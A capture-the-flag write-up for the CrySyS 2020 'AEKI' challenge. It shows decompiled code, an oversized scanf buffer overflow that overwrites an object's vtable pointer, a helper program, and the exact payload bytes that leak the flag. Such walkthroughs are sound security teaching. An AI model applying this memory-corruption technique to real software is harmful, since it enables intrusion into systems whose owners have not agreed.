CrySyS SecChallenge 2020: AEKI
There are usually tables in every classroom. Good students write their notes on papers. Bad students write their notes on tables.
Now you can buy a new table at AEKI.
This challenge had an environment accessible over raw TCP. You can emulate it yourself on a server using nc -l -e aeki -p <port>
Categories
Offensive, Reverse Engineering, Exploitation
Files
Links
Solution
As a first step, let’s try netcat-ing in, to see what our program looks like when operating normally:
user@ubuntu:~$ nc 1.2.3.4 12345
Welcome to AEKI!
You have 999 dollars!
The following tables are available right now:
1) Kullaberg
2) Skogsta
3) Morbylanga
4) Hemlighet
5) Mjolnir
6) Exit
Your choice is:
1
Here is your Kullaberg table: 0x56599e78
Are you satisfied and ready to purchase and assemble? (yes/no)
no
You have 999 dollars!
The following tables are available right now:
1) Kullaberg
2) Skogsta
3) Morbylanga
4) Hemlighet
5) Mjolnir
6) Exit
Your choice is:
5
You do not have enough money for that! The price is 10000
You have 999 dollars!
The following tables are available right now:
1) Kullaberg
2) Skogsta
3) Morbylanga
4) Hemlighet
5) Mjolnir
6) Exit
Your choice is:
1
Here is your Kullaberg table: 0x56599e78
Are you satisfied and ready to purchase and assemble? (yes/no)
yes
Purchasing Kullaberg!
Reading the assembling instructions...
Kullaberg
^C
user@ubuntu:~$
So far so good. We see some interesting hexadecimal numbers and some unaccessible menu items. Time to load up the binary in IDA and look for clues. I started off with the main
function, the decompiled pseudocode is as seen here:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v5; // esi
int v6; // eax
int result; // eax
int v8; // eax
int v9; // eax
int v10; // esi
int v11; // eax
int v12; // eax
int v13; // eax
int v14; // esi
int v15; // eax
int v16; // eax
int v17; // eax
int v18; // esi
int v19; // eax
int v20; // eax
int v21; // eax
int v22; // esi
int v23; // eax
char mjolnir_yes[4]; // [esp+0h] [ebp-B0h]
char mjolnir; // [esp+4h] [ebp-ACh]
char hemlighet_yes[4]; // [esp+1Ch] [ebp-94h]
char hemlighet; // [esp+20h] [ebp-90h]
char morbylanga_yes[4]; // [esp+38h] [ebp-78h]
char morbylanga; // [esp+3Ch] [ebp-74h]
char skogsta_yes[4]; // [esp+54h] [ebp-5Ch]
char skogsta; // [esp+58h] [ebp-58h]
char kullaberg_yes[4]; // [esp+70h] [ebp-40h]
char kullaberg; // [esp+74h] [ebp-3Ch]
char choice; // [esp+8Fh] [ebp-21h]
int money; // [esp+90h] [ebp-20h]
char v36; // [esp+97h] [ebp-19h]
int *v37; // [esp+A4h] [ebp-Ch]
v37 = &argc;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
money = 999;
v36 = 0;
puts("Welcome to AEKI!");
while ( 2 )
{
if ( v36 )
return 0;
printf("You have %d dollars!\n", money);
puts("The following tables are available right now:");
puts("1) Kullaberg");
puts("2) Skogsta");
puts("3) Morbylanga");
puts("4) Hemlighet");
puts("5) Mjolnir");
puts("6) Exit");
puts("Your choice is:");
choice = 0;
__isoc99_scanf(" %c", &choice);
switch ( choice )
{
case '1':
Kullaberg::Kullaberg((Kullaberg *)&kullaberg);
v3 = Table::getPrice((Table *)&kullaberg);
if ( money < v3 )
{
v4 = Table::getPrice((Table *)&kullaberg);
printf("You do not have enough money for that! The price is %d\n", v4);
goto LABEL_24;
}
v5 = *(_DWORD *)&kullaberg;
v6 = Table::getName((Table *)&kullaberg);
printf("Here is your %s table: %p\n", v6, v5);
puts("Are you satisfied and ready to purchase and assemble? (yes/no)");
__isoc99_scanf("%3s", kullaberg_yes);
if ( strcmp(kullaberg_yes, "yes") )
goto LABEL_24;
purchase_and_assemble((Table *)&kullaberg);
return 0;
case '2':
Skogsta::Skogsta((Skogsta *)&skogsta);
v8 = Table::getPrice((Table *)&skogsta);
if ( money < v8 )
{
v9 = Table::getPrice((Table *)&skogsta);
printf("You do not have enough money for that! The price is %d\n", v9);
goto LABEL_24;
}
v10 = *(_DWORD *)&skogsta;
v11 = Table::getName((Table *)&skogsta);
printf("Here is your %s table: %p\n", v11, v10);
puts("Are you satisfied and ready to purchase and assemble? (yes/no)");
__isoc99_scanf("%32s", skogsta_yes);
if ( strcmp(skogsta_yes, "yes") )
goto LABEL_24;
purchase_and_assemble((Table *)&skogsta);
return 0;
case '3':
Morbylanga::Morbylanga((Morbylanga *)&morbylanga);
v12 = Table::getPrice((Table *)&morbylanga);
if ( money < v12 )
{
v13 = Table::getPrice((Table *)&morbylanga);
printf("You do not have enough money for that! The price is %d\n", v13);
goto LABEL_24;
}
v14 = *(_DWORD *)&morbylanga;
v15 = Table::getName((Table *)&morbylanga);
printf("Here is your %s table: %p\n", v15, v14);
puts("Are you satisfied and ready to purchase and assemble? (yes/no)");
__isoc99_scanf("%3s", morbylanga_yes);
if ( strcmp(morbylanga_yes, "yes") )
goto LABEL_24;
purchase_and_assemble((Table *)&morbylanga);
return 0;
case '4':
Hemlighet::Hemlighet((Hemlighet *)&hemlighet);
v16 = Table::getPrice((Table *)&hemlighet);
if ( money < v16 )
{
v17 = Table::getPrice((Table *)&hemlighet);
printf("You do not have enough money for that! The price is %d\n", v17);
goto LABEL_24;
}
v18 = *(_DWORD *)&hemlighet;
v19 = Table::getName((Table *)&hemlighet);
printf("Here is your %s table: %p\n", v19, v18);
puts("Are you satisfied and ready purchase and assemble? (yes/no)");
__isoc99_scanf("%3s", hemlighet_yes);
if ( strcmp(hemlighet_yes, "yes") )
goto LABEL_24;
purchase_and_assemble((Table *)&hemlighet);
return 0;
case '5':
Mjolnir::Mjolnir((Mjolnir *)&mjolnir);
v20 = Table::getPrice((Table *)&mjolnir);
if ( money < v20 )
{
v21 = Table::getPrice((Table *)&mjolnir);
printf("You do not have enough money for that! The price is %d\n", v21);
LABEL_24:
putchar('\n');
continue;
}
v22 = *(_DWORD *)&mjolnir;
v23 = Table::getName((Table *)&mjolnir);
printf("Here is your %s table: %p\n", v23, v22);
puts("Are you satisfied and ready purchase and assemble? (yes/no)");
__isoc99_scanf("%3s", mjolnir_yes);
if ( strcmp(mjolnir_yes, "yes") )
goto LABEL_24;
purchase_and_assemble((Table *)&mjolnir);
result = 0;
break;
}
return result;
}
}
As you can see I already renamed some variables for readibility, but nothing more than that. This also explains the hexadecimal numbers we saw earlier: these are vtable addresses of the respective table class.
Let’s see what purchasing and assembling does:
int __cdecl purchase_and_assemble(Table *a1)
{
int v1; // eax
const char *v2; // eax
v1 = (**(int (__cdecl ***)(Table *))a1)(a1);
printf("Purchasing %s!\n", v1);
puts("Reading the assembling instructions...");
v2 = (const char *)(*(int (__cdecl **)(Table *))(*(_DWORD *)a1 + 8))(a1);
return puts(v2);
}
int Kullaberg::getInstructions()
{
int v0; // ST1C_4
FILE *stream; // ST18_4
v0 = operator new[](0xFFu);
stream = fopen("Kullaberg", "r");
__isoc99_fscanf((int)stream, (int)"%s", v0);
fclose(stream);
return v0;
}
getInstructions()
is exactly the same but with different filenames for the rest of the table classes. What might the Hemlighet
and Mjolnir
files contain, since we don’t have money for these two?
You could also notice how there is a “typo” at Skogsta
: __isoc99_scanf("%32s", skogsta_yes);
(this took me like 15 minutes by the way). However, our target variable, skogsta_yes is only 4 characters long, so we can use this to overwrite data following our variable. Okay, but what data is that?
char skogsta_yes[4]; // [esp+54h] [ebp-5Ch]
char skogsta; // [esp+58h] [ebp-58h]
Our newly made Skogsta
’s vtable! If we could overwrite it with one of the forbidden goods’ vtables, their getInstructions()
would be called, returning their files’ contents instead. So how do we do that? We need the memory address of the target table, but we only get ours. But fear not, different parts of a binary don’t usually move relative to other parts of the binary, so we can calculate the target table’s address from our table’s which is printed.
Let’s look at the constructors to find out the vtable addresses (some stuff is omitted in this snippet):
Skogsta::Skogsta() { *(_DWORD *)this = off_3E64; }
Hemlighet::Hemlighet() { *(_DWORD *)this = off_3E3C; }
Next we just need to input back yes\0
followed by printed number - 3E64 + 3E3C
in little endian. I quickly made a program for easily inputting hex into netcat:
int main()
{
while (true)
{
int x;
scanf("%x", &x);
const auto b = (uint8_t)x;
fwrite(&b, 1, 1, stdout);
fflush(stdout);
}
}
Let’s try this out:
user@ubuntu:~$ ./unhex | nc 1.2.3.4 12345
Welcome to AEKI!
You have 999 dollars!
The following tables are available right now:
1) Kullaberg
2) Skogsta
3) Morbylanga
4) Hemlighet
5) Mjolnir
6) Exit
Your choice is:
32
Here is your Skogsta table: 0x5662de64
Are you satisfied and ready to purchase and assemble? (yes/no)
79 65 73 0 3c de 62 56 a
Purchasing Skogsta!
Reading the assembling instructions...
cd20{R34lly_n1c3_l4ngu4g3_5p3c1f1c_pwn1ng}